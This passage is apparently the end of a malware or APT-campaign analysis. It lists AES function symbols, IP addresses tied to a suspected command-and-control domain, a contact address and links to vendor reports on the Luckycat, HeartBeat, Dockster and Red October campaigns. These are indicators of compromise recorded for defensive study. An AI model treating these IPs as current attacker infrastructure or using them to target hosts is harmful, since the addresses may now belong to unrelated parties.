_aes_encrypt_256
_aes_decrypt_128
_aes_encrypt_128
_aes_decrypt
```

- list of IPs (itsec.eicp.net)

```
1.203.100.232
1.203.102.251
1.203.102.63
1.203.103.227
1.203.104.45
1.203.106.150
1.203.107.125
1.203.107.200
1.203.108.46
1.203.109.193
```

```
114.248.84.134
114.248.84.170
114.248.84.171
114.248.84.180
114.248.84.201
114.248.84.64
114.248.84.79
114.248.85.150
114.248.85.154
114.248.85.159
114.248.85.188
114.248.85.189
114.248.85.197
114.248.85.204
```

# Q & A

nofate@nofate.com

# References


- Inside an APT Campaign with Multiple Targets in India and Japan : http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf
- The HeartBeat APT Campaign : http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf
- OSX/Dockster.A and Win32/Trojan.Agent.AXMO samples, pcaps, OSX malware analysis tools : http://contagiodump.blogspot.kr/2012/12/osxdockstera-and-win32trojanagentaxmo.html
- New Mac Malware found on Dalai Lama Related website : http://www.f-secure.com/weblog/archives/00002466.html
- Kaspersky Lab identifies 'Red October' cyber-attack : http://www.neurope.eu/article/kaspersky-lab-identifies-red-october-cyber-attack
- The "Red October" Campaign - An Advanced Cyber Espionage Network Targeting Diplomatic and Government Agencies : http://www.securelist.com/en/blog/785/The_Red_October_Campaign_An_Advanced_Cyber_Espionage_Network_Targeting_Diplomatic_and_Government_Agencies